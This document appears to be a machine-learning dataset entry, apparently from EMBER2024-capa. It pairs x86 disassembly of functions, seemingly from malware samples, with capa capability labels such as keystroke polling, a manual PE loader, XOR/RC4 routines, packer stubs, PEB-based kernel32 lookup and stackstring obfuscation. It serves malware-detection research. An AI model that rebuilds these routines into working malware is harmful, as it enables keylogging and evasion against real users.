joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013e56
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov edx, dword [0x10027ca8]
push ebx
push esi
push edi
push 0x3b
mov ebx, ecx
mov dword [ebp - 0xc], 0x61
pop esi
mov dword [ebp - 4], ebx
xor edi, edi
mov dword [ebp - 0x10], esi
mov dword [ebp - 8], 0xffffff29
add esi, dword [ebp + edi*4 - 0x10]
imul edx, edx, 0xee26b4a4
xor edx, 0x5c2bfe8c
mov eax, edx
mov ecx, edx
or edx, 0xf2391e18
mov dword [0x10027c50], eax
inc edi
cmp edi, 3
jl 0x10013e80
jmp 0x10013ee5
push 0x63
mov ecx, 0x18ee
mov edi, str.cryptodsadsa_ameth.c
pop ebx
add ecx, ebx
inc edi
cmp ecx, 0x120c
ja 0x10013ec8
movsx ebx, byte [edi]
test ebx, ebx
jne 0x10013eb4
jmp 0x10013ecf
mov eax, edx
and eax, 0xb712ff28
and eax, 0x71fcced
mov ecx, eax
mov dword [0x10027c50], eax
mov ebx, dword [ebp - 4]
or edx, 0x12f6e74b
inc esi
cmp byte [esi + ebx], 0
jne 0x10013ea7
pop edi
mov eax, esi
add ecx, 0xa2d9fba9
pop esi
mov dword [0x10027ca8], ecx
pop ebx
leave
ret
Function at 0x10017e6a
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
xor esi, esi
mov dword [ebp - 4], edx
mov edx, dword [ebp + 8]
mov ebx, esi
mov dword [ebp - 8], ecx
mov ecx, esi
push edi
mov eax, ecx
mov byte [ebp + ecx - 0x108], cl
and eax, 0x1f
mov al, byte [eax + edx]
mov byte [ebp + ecx - 0x208], al
inc ecx
cmp ecx, 0x100
jl 0x10017e85
mov edi, esi
mov dl, byte [ebp + edi - 0x108]
movzx eax, byte [ebp + edi - 0x208]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x10017ecc
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [ebp + ebx - 0x108]
mov byte [ebp + ebx - 0x108], dl
mov byte [ebp + edi - 0x108], al
inc edi
cmp edi, 0x100
jl 0x10017ea6
mov edi, esi
cmp dword [ebp - 4], esi
jle 0x10017f5e
mov ebx, dword [ebp - 8]
mov edx, dword [ebp + 0x10]
sub ebx, edx
inc esi
and esi, 0x800000ff
jns 0x10017f0a
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [ebp + esi - 0x108]
movzx eax, cl
add edi, eax
and edi, 0x800000ff
jns 0x10017f26
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x108]
mov byte [ebp + edi - 0x108], cl
mov byte [ebp + esi - 0x108], al
movzx ecx, byte [ebp + edi - 0x108]
movzx eax, al
add ecx, eax
movzx eax, cl
mov al, byte [ebp + eax - 0x108]
xor al, byte [ebx + edx]
mov byte [edx], al
inc edx
sub dword [ebp - 4], 1
jne 0x10017ef9
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1001814c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [0x100294b8]
xor edi, 0x5cb6eb6
imul eax, dword [0x100294b8], 0xe0677ca2
xor eax, 0xc2db0877
mov esi, str.User_initiated_crash_commencing
imul edx, eax, 0x1cc25d6d
movzx eax, byte [str.User_initiated_crash_commencing]
push 0x1d
pop ecx
mov dword [0x100294b8], edx
jmp 0x10018194
add ecx, eax
inc esi
cmp ecx, 0x11f0
ja 0x1001819a
movzx eax, byte [esi]
test eax, eax
jne 0x10018186
jmp 0x100181a8
mov edx, edi
xor edx, 0xa8c5fb26
mov dword [0x100294b8], edx
lea ecx, [edx + 0x41f05066]
movzx eax, byte [str.token_type]
add ecx, 0x6e020ed0
mov esi, 0x7ff
mov edi, str.token_type
jmp 0x100181d5
add esi, eax
inc edi
cmp esi, 0xd4a
ja 0x100181db
movzx eax, byte [edi]
test eax, eax
jne 0x100181c7
jmp 0x100181e1
and ecx, 0x4829a1c8
lea eax, [edx - 0x6af8e12b]
and ecx, 0x7464134
and eax, 0x8140f7ab
imul ecx, ecx, 0x7e60049a
mov dword [0x100281c0], eax
xor eax, eax
pop edi
pop esi
cmp byte [str.function_StartScanFromTimer__], al
je 0x10018228
inc eax
cmp eax, 0x1d8a
jg 0x1001821c
cmp byte [eax + str.function_StartScanFromTimer__], 0
jne 0x10018209
jmp 0x10018228
imul edx, ecx, 0x1ecf81da
mov dword [0x100294b8], edx
mov ecx, edx
xor ecx, 0x9362726c
mov dword [0x100294c4], ecx
imul ecx, edx, 0xf04d41a1
mov eax, edx
mov dword [0x100281bc], ecx
ret
Function at 0x10018b71
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1002958c]
xorps xmm1, xmm1
mov dword [ebp - 0x18], 0x5b
mov edx, ecx
mov dword [ebp - 0x14], 0x46
or eax, 0xecf3880e
mov dword [ebp - 0x10], 0x3d
mov dword [ebp - 0xc], 0xffffff22
movups xmm0, xmmword [ebp - 0x18]
mov dword [ebp - 4], 0x1078f4f6
imul eax, eax, 0x7bbe9e88
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
mov dword [0x1002958c], eax
psrldq xmm0, 4
paddd xmm1, xmm0
movd ecx, xmm1
add edx, ecx
cmp byte [edx], 0
je 0x10018c78
push 0xc
pop eax
push ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], 0x41
mov dword [ebp - 0x20], 0x64
mov dword [ebp - 0x1c], 0x3f
movups xmm2, xmmword [ebp - 0x28]
push esi
mov dword [ebp - 0x14], 0x58
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0xfffffffc
push edi
push 0x68
pop ebx
xor eax, eax
sub ebx, dword [ebp + eax*4 - 0x14]
inc eax
cmp eax, 3
jl 0x10018c1b
movzx esi, word [edx]
xorps xmm1, xmm1
mov eax, dword [ebp - 4]
psubd xmm1, xmm2
movaps xmm0, xmm1
mov edi, eax
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd ecx, xmm1
add ecx, 0x108
inc edx
shl edi, cl
mov ecx, ebx
mov dword [ebp - 8], edx
mov edx, eax
shr edx, cl
or edi, edx
mov edx, dword [ebp - 8]
add edi, esi
xor eax, edi
mov dword [ebp - 4], eax
cmp byte [edx], 0
jne 0x10018c16
pop edi
pop esi
pop ebx
leave
ret
mov eax, 0x1078f4f6
leave
ret
Function at 0x1001adb6
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
nop
mov ebx, 0x407ef8
mov ecx, 0x1647103a
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x756b2025
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
jmp 0x401219

Function at 0x4659a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x457015
lea edi, [esi - 0x56015]
push edi
or ebp, 0xffffffff
jmp 0x4659c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4659c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4659b8
mov eax, 1
add ebx, ebx
jne 0x4659db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4659d0
jne 0x4659ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4659d0
xor ecx, ecx
sub eax, 3
jb 0x465a00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x465a72
mov ebp, eax
add ebx, ebx
jne 0x465a0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x465a18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x465a3c
inc ecx
add ebx, ebx
jne 0x465a28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x465a1d
jne 0x465a39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x465a1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x465a5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x465a4d
jmp 0x4659be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x465a5c
add edi, ecx
jmp 0x4659be
pop esi
mov edi, esi
mov ecx, 0x33e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x465a7a
cmp byte [edi], 0
jne 0x465a7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x465a7f
lea edi, [esi + 0x63000]
mov eax, dword [edi]
or eax, eax
je 0x465aee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x651f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x65254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x465aac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x65258]
or eax, eax
je 0x465ae8
mov dword [ebx], eax
add ebx, 4
jmp 0x465ac9
call dword [esi + 0x6525c]
popal
jmp 0x40da18
Function at 0x401d4a
Capabilities:
Log keystrokes via polling

Disassembly:
mov dword [0x418714], 0
mov eax, dword [0x418714]
mov ebx, 0xffffffff
push ebx
call dword [sym.imp.USER32.DLL_GetAsyncKeyState]
mov dword [0x418ebf], eax
mov dword [0x418174], 0
mov eax, dword [0x418174]
lea edx, [edx + 0x418977]
add dword [0x4195a1], edx
sub edx, eax
shr edx, 1
add edx, eax
mov ecx, edx
add ecx, 0x94e
add dword [0x418b51], ecx
ror ecx, 2
shr ecx, 1
sub ecx, eax
add dword [0x418e06], ecx
call fcn.00402f28
mov dword [0x41818c], eax
push 0x2547545c
pop edi
push edi
mov esi, 0x1eeae871
mov eax, esi
push eax
mov eax, 0x535b7a47
mov esi, eax
push esi
mov edi, 0x174cf46c
mov ebp, edi
push ebp
push 0x418ab134
pop ebx
push ebx
push 0x21ff1beb
pop eax
push eax
push 0x67cf697b
pop edx
push edx
mov edx, 0x47777e77
push edx
mov esi, 0
mov edi, esi
push edi
push 0x30a185
pop ebx
add ebx, 0x103f1b
push dword [ebx]
pop dword [0x41855f]
mov ebx, dword [0x41855f]
call ebx
mov dword [0x418f49], eax
or eax, eax
je 0x401e19
sub ebp, edi
ret

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40915c
mov ecx, 0x2d56072d
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
mov eax, section..reloc
nop
nop
mov ebx, 0x42f3f8
mov ecx, 0xd396542
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43106c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x40115a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4e8008]
jne 0x401164
repz ret
jmp fcn.00401f7a

Function at 0x413649
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409429
and dword [ebp - 4], 0
cmp dword [0x4ead7c], 0
mov ebx, eax
jne 0x4136fa
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4137ab
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4137ab
push eax
call fcn.004093b7
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4ead7c], eax
call esi
push eax
call fcn.004093b7
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4ead80], eax
call esi
push eax
call fcn.004093b7
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4ead84], eax
call esi
push eax
call fcn.004093b7
pop ecx
mov dword [0x4ead8c], eax
test eax, eax
je 0x4136fa
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004093b7
pop ecx
mov dword [0x4ead88], eax
mov eax, dword [0x4ead88]
cmp eax, ebx
je 0x413752
cmp dword [0x4ead8c], ebx
je 0x413752
push eax
call fcn.00409432
push dword [0x4ead8c]
mov esi, eax
call fcn.00409432
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413752
test edi, edi
je 0x413752
call esi
test eax, eax
je 0x413749
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413749
test byte [ebp - 0xc], 1
jne 0x413752
or dword [ebp + 0x10], 0x200000
jmp 0x41378b
mov eax, dword [0x4ead80]
cmp eax, ebx
je 0x41378b
push eax
call fcn.00409432
pop ecx
test eax, eax
je 0x41378b
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41378b
mov eax, dword [0x4ead84]
cmp eax, ebx
je 0x41378b
push eax
call fcn.00409432
pop ecx
test eax, eax
je 0x41378b
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4ead7c]
call fcn.00409432
pop ecx
test eax, eax
je 0x4137ab
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4137ad
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4db3a0
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 8
mov dword [esp], 0x20
add dword [esp], 0x20
mov al, 0x65
mov byte [0x4eae69], al
mov byte [0x4eae6c], al
mov al, 0x6c
push 0x4eae68
mov byte [0x4eae68], 0x6b
mov byte [0x4eae6a], 0x72
mov byte [0x4eae6b], 0x6e
mov byte [0x4eae6d], al
mov byte [0x4eae6e], 0x33
mov byte [0x4eae6f], 0x32
mov byte [0x4eae70], 0x2e
mov byte [0x4eae71], 0x64
mov byte [0x4eae72], al
mov byte [0x4eae73], al
mov byte [0x4eae74], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x4ec650]
mov edx, dword [0x4eb368]
lea eax, [esp + 4]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 8
ret
Function at 0x4db530
Capabilities:
Get file attributes

Disassembly:
cmp dword [0x4ec650], 0x930
jne 0x4db556
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push str.Bezematevaneri_fedilovewe
push 0
call esi
push str.Gosituya
push 0
call esi
pop esi
cmp dword [0x4ec650], 0x114e
mov eax, dword [esp + 4]
mov dword [0x4eb35c], eax
jne 0x4db576
push str.dimamehay
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
ret
Function at 0x4019f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 0x114], str._system32777.dll
push 0x104
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [ebp - 0x114]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 3
push 1
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x401a5f
cmp dword [ebp - 0x118], 0
je 0x401a5f
jmp 0x401ac3
mov ecx, dword [ebp + 8]
cmp dword [ecx + 4], 0
je 0x401ac3
mov dword [ebp - 0x11c], 0x15f
mov edx, dword [ebp + 8]
add edx, 8
mov dword [0x438274], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
mov dword [0x438290], ecx
mov dword [ebp - 0x11c], 0x15f
mov dword [ebp - 0x11c], 0x15f
call fcn.004011b0
mov edx, dword [ebp + 8]
mov dword [0x43828c], edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
call fcn.004013b0
add esp, 0xc
mov dword [ebp + 8], eax
jmp 0x401a5f
mov esp, ebp
pop ebp
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x6e1345cc
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x2b72320a
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4010d0
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
cmp word [eax], 0x5a4d
push edi
je 0x4010e8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [esp + 0x10], edi
cmp dword [edi], 0x4550
je 0x401101
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov ebp, eax
test ebp, ebp
jne 0x401138
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov ebp, eax
test ebp, ebp
jne 0x401138
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
call fcn.00401030
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor eax, eax
push 4
push 0x1000
mov dword [ebx + 4], ebp
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
mov eax, dword [edi + 0x50]
push eax
push ebp
call esi
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push ebp
call esi
mov esi, dword [esp + 0x18]
mov edx, dword [edi + 0x54]
mov edi, eax
push ebx
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
push esi
push ecx
mov edx, dword [ecx + 0x3c]
add eax, edx
mov dword [ebx], eax
mov dword [eax + 0x34], ebp
call fcn.00401220
mov ecx, dword [esi + 0x34]
mov eax, ebp
add esp, 0xc
sub eax, ecx
je 0x4011c6
push eax
push ebx
call fcn.004013d0
add esp, 8
push ebx
call fcn.00401450
add esp, 4
test eax, eax
je 0x4011f6
push ebx
call fcn.004012f0
mov eax, dword [ebx]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x40120e
add eax, ebp
test eax, eax
je 0x4011f6
push 0
push 1
push ebp
call eax
test eax, eax
jne 0x401207
push ebx
call fcn.00401630
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov dword [ebx + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
Function at 0x401220
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x4012e1
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x40128b
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x4012bf
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x4012bf
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x40124e
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x4012f0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
push ebx
xor ecx, ecx
push edi
mov ebx, dword [eax]
mov dword [esp + 8], 0
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], 0
lea edi, [ecx + ebx + 0x18]
jbe 0x4013bd
push ebp
push esi
add edi, 0x24
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x401350
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40139b
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov ebp, dword [edx*4 + 0x404030]
je 0x40136a
or ebp, 0x200
mov esi, dword [edi - 0x14]
test esi, esi
jne 0x401383
test al, 0x40
je 0x40137a
mov esi, dword [ebx + 0x20]
jmp 0x401381
test al, 0x80
je 0x40139b
mov esi, dword [ebx + 0x24]
test esi, esi
jbe 0x40139b
call fcn.00401030
mov ecx, dword [edi - 0x1c]
lea eax, [esp + 0x14]
push eax
push ebp
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
xor ecx, ecx
inc eax
mov ebx, dword [edx]
add edi, 0x28
mov dword [esp + 0x10], eax
mov cx, word [ebx + 6]
cmp eax, ecx
jl 0x40131d
pop esi
pop ebp
pop edi
pop ebx
add esp, 8
ret

Function at 0x401c90
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0x5ab
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
add dl, 0x3d
test esi, esi
jbe 0x401cbd
mov eax, dword [esp + 8]
mov cl, byte [eax]
xor cl, dl
add cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x401cb1
pop esi
ret
Function at 0x401cc0
Capabilities:
Get file size

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
push 2
push 0
push 0xfffffc00
push ebx
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea eax, [esi + 1]
push eax
call sub.MFC42.DLL_operatornew
add esp, 4
lea ecx, [esp + 0xc]
mov edi, eax
push 0
push ecx
push esi
push edi
push ebx
call dword [0x404b58]
mov edx, dword [esp + 0x18]
push 0
push esi
push edx
push edi
call fcn.00401c30
add esp, 0x10
cmp eax, 0xffffffff
je 0x401d26
add eax, edi
pop edi
pop esi
pop ebx
pop ecx
ret
push edi
call sub.MFC42.DLL_operatordelete
push str.languages
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x401e20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push ebx
mov cl, 0x5c
mov al, 0x72
push esi
push edi
mov byte [esp + 0xe], cl
mov byte [esp + 0x10], al
mov byte [esp + 0x13], al
mov byte [esp + 0x1c], cl
mov byte [esp + 0x20], al
mov byte [esp + 0x22], cl
mov ecx, 0x41
xor eax, eax
mov edi, 0x404b60
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
mov dl, 0x61
xor bl, bl
push eax
push 0x404b60
mov byte [esp + 0x14], 0x43
mov byte [esp + 0x15], 0x3a
mov byte [esp + 0x17], 0x50
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1a], 0x67
mov byte [esp + 0x1c], dl
mov byte [esp + 0x1d], 0x6d
mov byte [esp + 0x1e], 0x20
mov byte [esp + 0x1f], 0x46
mov byte [esp + 0x20], 0x69
mov byte [esp + 0x21], 0x6c
mov byte [esp + 0x22], 0x65
mov byte [esp + 0x23], 0x73
mov byte [esp + 0x25], 0x43
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], 0x63
mov byte [esp + 0x29], 0x6b
mov byte [esp + 0x2b], bl
call fcn.00401c00
mov ecx, dword [esp + 0x30]
push ecx
push 0x404b60
call fcn.00401c00
mov esi, dword [sym.imp.MSVCRT.dll_printf]
add esp, 0x10
push str.languages
call esi
mov dl, bl
add dl, 0x43
push edx
call fcn.00401d50
add esp, 8
test eax, eax
jne 0x401ef9
inc bl
cmp bl, 4
jl 0x401ed2
pop edi
pop esi
pop ebx
add esp, 0x18
ret
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x18
ret

Function at 0x401f10
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x400
push ebx
push ebp
push esi
mov esi, dword [esp + 0x410]
push edi
xor ebx, ebx
xor ebp, ebp
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
lea edi, [esp + 0x10]
push str.languages
call dword [sym.imp.MSVCRT.dll_printf]
mov eax, ebx
xor edx, edx
div dword [esp + 0x420]
mov ecx, dword [esp + 0x41c]
xor eax, eax
mov byte [ebx + esi], bl
add esp, 4
inc ebx
add edi, 4
cmp ebx, 0x100
mov al, byte [edx + ecx]
mov dword [edi - 4], eax
jl 0x401f3a
xor eax, eax
lea edi, [esp + 0x10]
mov cl, byte [eax + esi]
mov ebx, dword [edi]
mov edx, ecx
and edx, 0xff
add edx, ebx
add ebp, edx
and ebp, 0x800000ff
jns 0x401f98
dec ebp
or ebp, 0xffffff00
inc ebp
mov dl, byte [esi + ebp]
add edi, 4
mov byte [eax + esi], dl
inc eax
cmp eax, 0x100
mov byte [esi + ebp], cl
jl 0x401f77
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x400
ret